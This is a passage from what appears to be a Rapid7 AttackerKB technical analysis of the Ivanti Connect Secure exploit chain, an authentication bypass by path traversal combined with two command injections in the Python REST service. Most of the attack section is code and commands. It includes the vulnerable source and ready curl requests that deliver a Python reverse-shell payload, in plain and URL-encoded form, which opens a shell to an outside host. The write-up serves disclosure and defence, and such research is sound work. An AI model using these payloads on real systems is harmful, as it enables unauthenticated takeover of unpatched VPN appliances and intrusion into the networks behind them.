*a2) { // ...snip... uri_path = a1->uri_path; if ( !strncmp((const char *)uri_path, "/api/v1/ueba/", 0xDu) || !strncmp((const char *)uri_path, "/api/v1/integration/", 0x14u) || !strncmp((const char *)uri_path, "/api/v1/dsintegration", 0x15u) || !strncmp((const char *)uri_path, "/api/v1/pps/action/", 0x13u) || !strncmp((const char *)uri_path, "/api/my-session", 0xFu) || !strncmp((const char *)uri_path, "/api/v1/totp/user-backup-code", 0x1Du) // <--- || !strncmp((const char *)uri_path, "/api/v1/esapdata", 0x10u) || !strncmp((const char *)uri_path, "/api/v1/sessions", 0x10u) || !strncmp((const char *)uri_path, "/api/v1/tasks", 0xDu) || !strncmp((const char *)uri_path, "/api/v1/gateways", 0x10u) || !strncmp((const char *)uri_path, "/_/api/aaa", 0xAu) || !strncmp((const char *)uri_path, "/api/v1/oidc", 0xCu) ) { return 1; // <--- } // ...go on and enforce authentication... Additional authentication checks appear to occur in the function PyRestHandler::handleRequest, but not for the path /api/v1/totp/user-backup-code. Knowing we can reach the internal Python REST service by requesting the unauthenticated /api/v1/totp/user-backup-code endpoint, and knowing we can also supply additional characters in the path, all of which will be passed to the Python Flask application, we can experiment with trying to access other resources located in the Flask application by using double dot notation. It transpires that we can access any resource in the Flask application using this technique, bypassing any authentication checks in the native web server. To test the auth bypass we first try to access the authenticated REST API endpoint /api/v1/system/system-information while providing neither an authentication cookie nor a valid API key. As expected, this request will fail with a HTTP 403 forbidden error. $ curl -ik https://192.168.86.111/api/v1/system/system-information HTTP/1.1 403 Forbidden Transfer-Encoding: chunked X-XSS-Protection: 1 Strict-Transport-Security: max-age=31536000 Next we can access our target endpoint via the auth bypass technique, by using a URI path of /api/v1/totp/user-backup-code/../../system/system-information. We can see this request will succeed, returning the system information. $ curl -ik --path-as-is https://192.168.86.111/api/v1/totp/user-backup-code/../../system/system-information HTTP/1.1 200 OK Content-Type: application/json Content-Length: 297 {"software-inventory":{"software":{"build":"1647","name":"IVE-OS","type":"operating-system","version":"22.3R1"}},"system-information":{"hardware-model":"ISA-V","host-name":"localhost2","machine-id":"*****************","os-name":"ive-sa","os-version":"22.3R1","serial-number":"*****************"}} We can now access any endpoint in the Python REST backend, and can begin to search for a suitable authenticated command injection vulnerability to chain to this auth bypass to, in order to achieve unauthenticated RCE. INJECTING COMMANDS As we are hunting for a command injection vulnerability, and we are targeting a Python service, a good candidate to search for is the usage of Popen and system function calls. These functions allow for the creation of a child process with caller supplied arguments and are often the cause of command injection vulnerabilities in Python applications. The REST service implements the logic for its endpoints in the restservice-0.1-py3.6.egg file, so we can extract this and grep for candidates to go bug hunting in. $ unzip ics_disk1/root/home/venv3/lib/python3.6/site-packages/restservice-0.1-py3.6.egg -d restservice-0.1 $ cd restservice-0.1/ restservice-0.1$ grep -r Popen --include=*.py restservice/api/resources/config.py: proc = subprocess.Popen( restservice/api/resources/config.py: proc = subprocess.Popen(args, stdout=subprocess.PIPE) restservice/api/resources/config.py: proc = subprocess.Popen(popen_args, stdout=subprocess.PIPE) restservice/api/resources/localbackupsysconfiganduseracc.py: proc = subprocess.Popen( restservice/api/resources/localbackupsysconfiganduseracc.py: proc = subprocess.Popen( restservice/api/resources/localbackupsysconfiganduseracc.py: proc = subprocess.Popen( restservice/api/resources/controller.py: proc = subprocess.Popen( restservice/api/resources/controller.py: proc = subprocess.Popen( restservice/api/resources/exportxml.py: proc = subprocess.Popen(popen_args, stdout=subprocess.PIPE) restservice/api/resources/webprofile.py: proc = subprocess.Popen( restservice/api/resources/webprofile.py: cabbase_proc = subprocess.Popen( restservice/api/resources/awsazuretestconnection.py: proc = subprocess.Popen( restservice/api/resources/html5.py: # proc = subprocess.Popen(smbClientCmd, shell=True, stdout=subprocess.PIPE) restservice/api/resources/nsaregistration.py: proc = subprocess.Popen( restservice/api/resources/exportuniversalxml.py: proc = subprocess.Popen(popen_args, stdout=subprocess.PIPE) restservice/api/resources/license.py: proc = subprocess.Popen( restservice/api/resources/license.py: proc = subprocess.Popen( restservice/api/resources/license.py: proc = subprocess.Popen( restservice/api/resources/license.py: proc = subprocess.Popen( restservice/api/resources/license.py: proc = subprocess.Popen( Reviewing the 20 results that come back we identify several usages of Popen whereby the command passed to Popen is constructed from a sequence of + operators which concatenate the strings together. Popen can alternatively take an array of arguments rather than a single string, and some of the results from our grepping above use this form, which is generally safe from command injection (but not necessarily argument injection). We identified two authenticated command injection vulnerabilities, both of which are likely candidates for CVE-2024-21887. We have verified that both vulnerabilities are prevented from working when the vendor supplied mitigation is applied. FIRST COMMAND INJECTION Of the instances of Popen that concatenate their command string together, we identify the get method in the file restservice/api/resources/license.py which handles requests for the endpoint /api/v1/license/keys-status. class License(Resource): """ Handles requests that are coming for licensing APIs For now the only API is license/auth-code """ # ...snip... def get(self, url_suffix=None, node_name=None): if request.path.startswith("/api/v1/license/keys-status"): try: dsinstall = os.environ.get("DSINSTALL") if node_name == None: node_name = "" proc = subprocess.Popen( dsinstall + "/perl5/bin/perl" + " " + dsinstall + "/perl/getLicenseCapacity.pl" + " getLicenseKeys " + node_name, # <--- shell=True, stdout=subprocess.PIPE, ) If an attacker can supply an arbitrary node_name value, then command injection can be achieved. As this is a Flask application, we look to see how these endpoints are mapped by inspecting restservice\api\__init__.py. import logging from flask import Flask from flask_restful import Api from logger.logger import Logger from logger.proxyhandler import ProxyHandler app = Flask(__name__) app.logger.setLevel(logging.DEBUG) app.logger.addHandler(ProxyHandler("CONFIG:API:APP")) ive_logger = Logger() api = Api(app) # ...snip... api.add_resource( License, # ...snip... "/api/v1/license/keys-status", "/api/v1/license/keys-status/<path:node_name>", # <--- # ...snip... resource_class_kwargs={"ive_logger": ive_logger}, ) # ...snip... We can see the parameter node_name is automatically mapped from the trailing path segment in the request’s URI path /api/v1/license/keys-status/<path:node_name>. We can therefore achieve an unauthenticated command injection by performing a GET request to the URI path /api/v1/totp/user-backup-code/../../license/keys-status/;CMD;, (where CMD is an arbitrary linux OS command). By using the semicolon character we can specify an arbitrary command to execute during Popen. As we are passing the arbitrary command as part of the URI in the GET request, we must URL encode our payload. For example a Python based reverse shell payload: ;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.86.43",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'; Will be encoded as follows: %3b%70%79%74%68%6f%6e%20%2d%63%20%27%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%39%32%2e%31%36%38%2e%38%36%2e%34%33%22%2c%34%34%34%34%29%29%3b%73%75%62%70%72%6f%63%65%73%73%2e%63%61%6c%6c%28%5b%22%2f%62%69%6e%2f%73%68%22%2c%22%2d%69%22%5d%2c%73%74%64%69%6e%3d%73%2e%66%69%6c%65%6e%6f%28%29%2c%73%74%64%6f%75%74%3d%73%2e%66%69%6c%65%6e%6f%28%29%2c%73%74%64%65%72%72%3d%73%2e%66%69%6c%65%6e%6f%28%29%29%27%3B And we can exploit the appliance with a single curl request and achieve unauthenticated OS command execution: $ curl -ik --path-as-is https://192.168.86.111/api/v1/totp/user-backup-code/../../license/keys-status/%3b%70%79%74%68%6f%6e%20%2d%63%20%27%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%39%32%2e%31%36%38%2e%38%36%2e%34%33%22%2c%34%34%34%34%29%29%3b%73%75%62%70%72%6f%63%65%73%73%2e%63%61%6c%6c%28%5b%22%2f%62%69%6e%2f%73%68%22%2c%22%2d%69%22%5d%2c%73%74%64%69%6e%3d%73%2e%66%69%6c%65%6e%6f%28%29%2c%73%74%64%6f%75%74%3d%73%2e%66%69%6c%65%6e%6f%28%29%2c%73%74%64%65%72%72%3d%73%2e%66%69%6c%65%6e%6f%28%29%29%27%3B We have verified that the vendor-supplied mitigation will prevent this exploit from working. SECOND COMMAND INJECTION As we found several occurrences of Popen, we also identified a second authenticated command injection vulnerability. The file restservice\api\resources\awsazuretestconnection.py has the following function to handle POST requests to the endpoint /api/v1/system/maintenance/archiving/cloud-server-test-connection. class AwsAzureTestConnection(Resource): # ...snip... def post(self): """ Available API /api/v1/system/maintenance/archiving/cloud-server-test-connection POST Body: { "type":"AZURE", "txtS3Server":"<AWS-S3-bucket-name>", "txtS3Directory":"<AWS-S3-bucket-location>", "txtS3User":"<AWS-access-key>", "txtS3Password":"<AWS-secret-key>", "txtazureServer":"<Azure-server-name>", "txtazureUser":"<Azure-user-name>", "txtazurePassword":"<Azure-password>" } /api/v1/system/maintenance/archiving/cloud-server-test-connection POST Body: { "type": "GCP", "txtGCPProject":"ProjName", "txtGCPSecret":"/homes/preritc/JsonKey", "txtGCPPath":"Path/DirPath", "txtGCPBucket":"bucket-mumbai" } """ server_information = [] method = "" if request.path.endswith("cloud-server-test-connection"): if request.json is None: return make_response( jsonify(self.get_error_response("Accepts only JSON")), 400 ) else: if "type" not in request.json: return make_response( jsonify( self.get_error_response( "Please specify the Type as AWS or AZURE or GCP" ) ), 400, ) else: tmpKeyFile = None method = request.json.get("type", "") # <--- if method == "GCP": secretKeyJson = request.json.get("txtGCPSecret") if not secretKeyJson: # Secret Key not provided in request body, look for existing config in cache ci = DSCacheItem("archive", "info") table = DSUtilTable() ci.getUtilTable(table) secretKeyJson = table.getValue("password") if not secretKeyJson: return make_response( jsonify( self.get_error_response( "No existing Secret Key configuration found, please upload an appropriate JSON file and try again." ) ), 400, ) try: # Attribute is expected to have file content in base64 encoded format secretKeyJson = base64.b64decode(secretKeyJson) # File with decoded JSON required by CloudStorageClient tool to test the connection tmpKeyFile = tempfile.NamedTemporaryFile(suffix=".json") tmpKeyFile.write(secretKeyJson) tmpKeyFile.seek(0) request.json["txtGCPSecret"] = tmpKeyFile.name except (base64.binascii.Error, OSError) as err: return make_response( jsonify( self.get_error_response( "Could not store secret key JSON in temporary file. Error: {0}".format( err ) ) ), 400, ) for i in gcpserverMajorKeys: if ( i in list(request.json.keys()) and len(request.json.get(i, "")) > 0 ): server_information.append(request.json.get(i, "")) else: server_information.append("None") if method == "AWS": for i in awsserverMajorKeys: if ( i in list(request.json.keys()) and len(request.json.get(i, "")) > 0 ): server_information.append(request.json.get(i, "")) else: server_information.append("None") if method == "AZURE": for i in azureserverMajorKeys: if ( i in list(request.json.keys()) and len(request.json.get(i, "")) > 0 ): server_information.append(request.json.get(i, "")) else: server_information.append("None") for i in serverOptionKeys: if ( i in list(request.json.keys()) and request.json.get(i, "") != "" ): server_information.append(request.json.get(i, "")) else: server_information.append("filter_default") for i in serverCheckKeys: if i in list(request.json.keys()): if request.json.get(i, "") == "ON": server_information.append(1) else: server_information.append(0) for i in serverUploadLogKeys: if i in list(request.json.keys()): if request.json.get(i, "") == "ON": server_information.append(1) else: server_information.append(0) for i in serverSensorsLogFilterKeys: if ( i in list(request.json.keys()) and request.json.get(i, "") != "" ): server_information.append(request.json.get(i, "")) else: server_information.append("filter_default") for i in serverSensorsLogKeys: if i in list(request.json.keys()): if request.json.get(i, "") == "ON": server_information.append(1) else: server_information.append(0) for i in serverXmlKeys: if i in list(request.json.keys()): if request.json.get(i, "") == "ON": server_information.append(1) else: server_information.append(0) for i in serverIVSKeys: if i in list(request.json.keys()): if request.json.get(i, "") == "ON": server_information.append(1) else: server_information.append(0) for i in serverIVSPasswdKeys: if ( i in list(request.json.keys()) and len(request.json.get(i, "")) > 0 ): server_information.append(request.json.get(i, "")) else: server_information.append("None") for i in serverURSdbKeys: if ( i in list(request.json.keys()) and len(request.json.get(i, "")) > 0 ): if len(request.json.get(i, "")) > 0: server_information.append(1) else: server_information.append(0) for i in serverURSPasswordKeys: if ( i in list(request.json.keys()) and len(request.json.get(i, "")) > 0 ): if len(request.json.get(i, "")) > 0: server_information.append(1) else: server_information.append(0) for i in serverDebugLogKeys: if i in list(request.json.keys()): if request.json.get(i, "") == "ON": server_information.append(1) else: server_information.append(0) for i in serverSnapShotKeys: if i in list(request.json.keys()): if request.json.get(i, "") == "ON": server_information.append(1) else: server_information.append(0) if (request.json.get("chkExcludeLargeData", "") == "") or ( "chkExcludeLargeData" not in request.json ): server_information.append(0) if request.json.get("chkExcludeLargeData", "") == "ON": server_information.append(1) if method == "GCP": if ( "txtGCPPath" in list(request.json.keys()) and request.json.get("txtS3Path", "") != "" ): server_information.append( request.json.get("txtGCPPath", "") ) else: server_information.append("") if method == "AWS": if ( "txtS3Path" in list(request.json.keys()) and request.json.get("txtS3Path", "") != "" ): server_information.append(request.json.get("txtS3Path", "")) else: server_information.append("") if method == "AZURE": if ( "txtAzurePath" in list(request.json.keys()) and request.json.get("txtAzurePath", "") != "" ): server_information.append( request.json.get("txtAzurePath", "") ) else: server_information.append("") We can see above that the variable called method is set from the request’s JSON content data, via a key called type. If an attacker supplies a semicolon delimited OS command in this value it will be executed via Popen. dsinstall = os.environ.get("DSINSTALL") proc = subprocess.Popen( dsinstall + "/perl5/bin/perl" + " " + dsinstall + "/perl/AwsAzureTestConnection.pl " + method # <--- + " " + " ".join([str(x) for x in list(server_information)]), shell=True, stdout=subprocess.PIPE, ) Using the same python reverse shell payload from the first command injection, we can construct a JSON structure to trigger the vulnerability (as the payload is in JSON, it does not need to be URL-encoded). { "type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.86.35\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';", "txtGCPProject": "a", "txtGCPSecret": "a", "txtGCPPath": "a", "txtGCPBucket": "a" } While the endpoint /api/v1/system/maintenance/archiving/cloud-server-test-connection is authenticated, we can chain the auth bypass vulnerability and construct an unauthenticated URI path /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection to reach this endpoint and exploit the vulnerability. A single curl request to achieve unauthenticated OS command execution is then performed as follows: curl -ik --path-as-is https://192.168.86.111/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"192.168.86.43\\\",4444));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }' We have verified that the vendor supplied mitigation will prevent this exploit from working. REMEDIATION Ivanti disclosed both CVE-2023-46805 and CVE-2024-21887 on January 10, 2024, but this was done prior to the release of official patches, which are scheduled for a staggered release beginning on January 22, 2024. Ivanti has provided an interim solution in the form of an XML mitigation file that blocks access to certain URLs in order to prevent the exploit chain from working. It is highly recommended to apply this interim workaround on an urgent basis. A knowledge base article is available for further details on Ivanti’s interim workaround. REFERENCES * Vendor Advisory * Rapid7 Blog * watchTowr Blog REPORT AS EXPLOITED IN THE WILD AttackerKB users want to know this is information they can trust. Help the community by indicating the source(s) of your knowledge: * Vendor Advisory Add a reference URL (optional): * Government or Industry Alert Add a reference URL (optional): * Threat Feed Add a reference URL (optional): * News Article or Blog Add a reference URL (optional): * Exploitation personally observed in an environment (client, customer, employer, or personal environment) Add a reference URL (optional): * Other: Please explain the source of your report. Add a reference URL (optional): Report and add more details Report as Exploited Update Report CVE ID AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: CVE ID: ADD REFERENCES: Cancel Submit QUICK COOKIE NOTIFICATION This site uses cookies for anonymized analytics to improve the site. Rapid7 will never sell the data collected on this site. I AGREE, LET’S GO! -------------------------------------------------------------------------------- View our Cookie Policy for full details This site uses cookies for anonymized analytics. For more information or to change your cookie settings, view our Cookie Policy. Terms of Use Code of Conduct FAQ Changelog Privacy Policy Contact API A Rapid7 Project WATCH THIS TOPIC Watch this topic to be notified when new information, assessments, and comments are added